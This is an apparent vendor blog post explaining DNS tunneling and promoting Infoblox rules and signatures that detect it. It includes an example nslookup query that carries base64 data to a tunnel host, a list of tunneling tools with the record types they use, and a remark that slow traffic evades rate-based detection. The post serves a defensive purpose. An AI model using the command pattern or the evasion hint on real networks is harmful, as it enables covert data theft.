DNS Data Exfiltration - How it works
Posts: 5
One thing that never ceases to amaze me is just how creative people can be when they are sufficiently motivated. And one of the greatest motivational tools of all time seems to be having to pay for internet, or things on the internet. As legend has it, It was just this motivation that inspired the invention of one of the most dangerous and creative hacks on the network today - DNS tunneling. Sadly, tunneling has moved beyond these these initial applications and is being used today by an increasing number of malware packages to circumvent corporate security controls. So let’s take a look at how it works, and talk about a few ways to stop it.
If you’ve ever been to the airport, or tried to connect to a corporate guest Wi-Fi network that requires a portal password, perhaps you’ve taken some time to figure out if there’s any way to go around the portal and get access. Poking around, generally what you discover is that most ports are completely blocked - http, https, email protocols, everything. Except DNS. DNS almost always works. This is because if your browser can’t resolve anything, there’s no way to redirect you to the portal.
Noticing this, and realizing that anyone can put a DNS server on the internet, got some folks thinking. We tunnel IP traffic over many other protocols already - Generic Routing Encapsulation (GRE), IPSec, SSL - why not use DNS to do the same thing? From what I can see, Oskar Pearson was one of the first to do this, in 1998 (http://archives.neohapsis.com/archives/bugtraq/1998_2/0079.html). By creating a special client, and hosting modified a name server on the internet, the paywall/portal/firewall was successfully bypassed.
Sending information back and forth is surprisingly easy and straightforward. The IP traffic is simply encoded using something like Base64, and broken into chunks that fit in DNS queries. The queries are sent to the specially modified DNS server, where they are unpacked and sent out onto the internet. Creative DNS responses are then used to send the response data back to the client.
For example, the client might send a chunk of data as an “A” or “AAAA” record. It might look something like this “nslookup VGhlIHgbWFrZSB1cCB0aGUgNjQgY2hhcmFjdGVycyByZXF1aXJlZCBmb3IgYmFzZ.myDNSTunnel.com"
Once this query arrives at the modified DNS server, the server can send any data that is waiting for the client by responding to the A query with a CNAME record - “CNAME:JlIHRyYWRpdGlvbmFsbHkgbm9NsZWFuLiBGb3IgZ.myDNSTunnel.com”.
Another way to do this involves using DNS TXT or EDNS type records, which allow large unstructured strings to be sent. Reverse lookups can also be used to fetch the data responses.
I have to admit, I think this is technically brilliant. I wish I’d thought of this. However, from a security point of view, this is a nightmare. No existing security product does a very good job of stopping this, and next-generation firewalls, with all their deep packet inspection and application identification, can’t tell you if there’s data going out via DNS. Furthermore, there’s been a fundamental shift in the key applications of DNS Tunneling technology. We are seeing it used more and more for malware-based data exfiltration out of enterprise networks, instead of being used to steal internet access.
So what is an enterprise to do? Customers of Infoblox have a few tools at their disposal for combating this threat. In fact, customers who have deployed Advanced DNS Protection (ADP) or our recently launched Internal DNS Security product have had some protection against DNS tunneling for quite some time. This tunneling detection was built with the initial tunneling use case in mind - the toll bypass example.
Although these were developed for toll bypass prevention, they are still very useful for detecting “fast” data exfiltration. In other words, they can detect and stop tunnels in either the inbound or outbound direction based on detection of a certain number of packets of a certain size per second.
Let’s take a look at how this works in practice. On the system I am using, we see three rules that these are the 137,138, and 139th rules executed by the Threat Protection. Rules are found under Data management>Security>Threat Protection Rules:
One thing that enterprises who are concerned with data exfiltration will want to do is to tune these rules. Since Infoblox has customers of so many different sizes, we have relatively high defaults for many of the threat protection rules. Looking at rule 200000004 below, you see that we are looking for DNS packets of 40 bytes or larger, but we need to see 1000 packets of this type in a second before we will start to block. If we hit this threshold, we will block for 5 seconds all tunnel traffic. We will log up to ten events per second to log these blocks.
For enterprises, we’d recommend changing these values a bit to better match enterprise traffic patterns. Specifically, we recommend changing packets per second to 100 or less, and increasing the drop rate (how long we will ignore/block after we see 100 packets in a second) to at least 120. If you think there is a great deal of tunneling going on, it might be a good idea to reduce the number of events per second to 1 or 2 as well, so we will not log too much if massive tunneling is happening.
Similar changes should be made to130000500 and 130000600. Change the packet size to 150, and increase the drop rate to at least 120.
The obvious problem with a detection approach that relies on reaching a certain threshold of traffic is that avoiding detection is as simple as slowing down the rate you send data. For the user that is trying to use the DNS tunnel for an interactive experience, this isn’t practical. However, if the user is actually a piece of malware that is trying to steal data from inside your network, then slowing down the data rate will work, provided the criminal is patient enough and confident he will avoid detection by going “low and slow”.
Seeing this shortcoming, Infoblox released in late August a new set of signatures for ADP and Internal DNS Security customers that uses a different approach to identify these sessions. Instead of relying on volume, our threat team was able to identify unique signatures that can be used to identify a number of DNS tunneling tools, some of which have been adopted by the malware vendors as their transport of choice for your enterprise data.
By using signatures for detection, we are able to make the detection instantly and with confidence that we are not rate limiting some valid (if strange) DNS traffic. Examples of some of the tunnels we can detect are included below:
|
Tunnel Tool
|
Record Types Used
|
Resources to learn more
|
|
DNS2TCP
|
KEY, TXT
|
|
|
DNScat-P
|
A, CNAME
|
|
|
Iodine Protocol v5.00
|
NULL
|
|
|
Iodine Protocol v5.02
|
A, CNAME, MX, NULL, SRV, TXT
|
|
|
OzymanDNS
|
A, TXT
|
|
|
SplitBrain
|
A, TXT
|
|
|
TCP-Over-DNS
|
CNAME, TXT
|
|
|
YourFreedom
|
NULL
|
|
|
|
|
|
Obviously, not every type of DNS tunneling is included in this set of signatures. Infoblox will continue to develop new signatures as tunneling malware appears, and customers get these new signatures automatically. However, It must be possible to detect tunnels based on their behavior, right? In a few weeks, I'll be back to have a discussion about how different types of data analysis can be used to detect tunneling. We’ll also review Infoblox’s reporting on DNS tunneling incidents so that you can understand what your options are for detecting, monitoring, and blocking events.
Intrigued about what Infoblox has to offer to secure your DNS? Why not check out our white papers that cover a wide range of topics?
Comments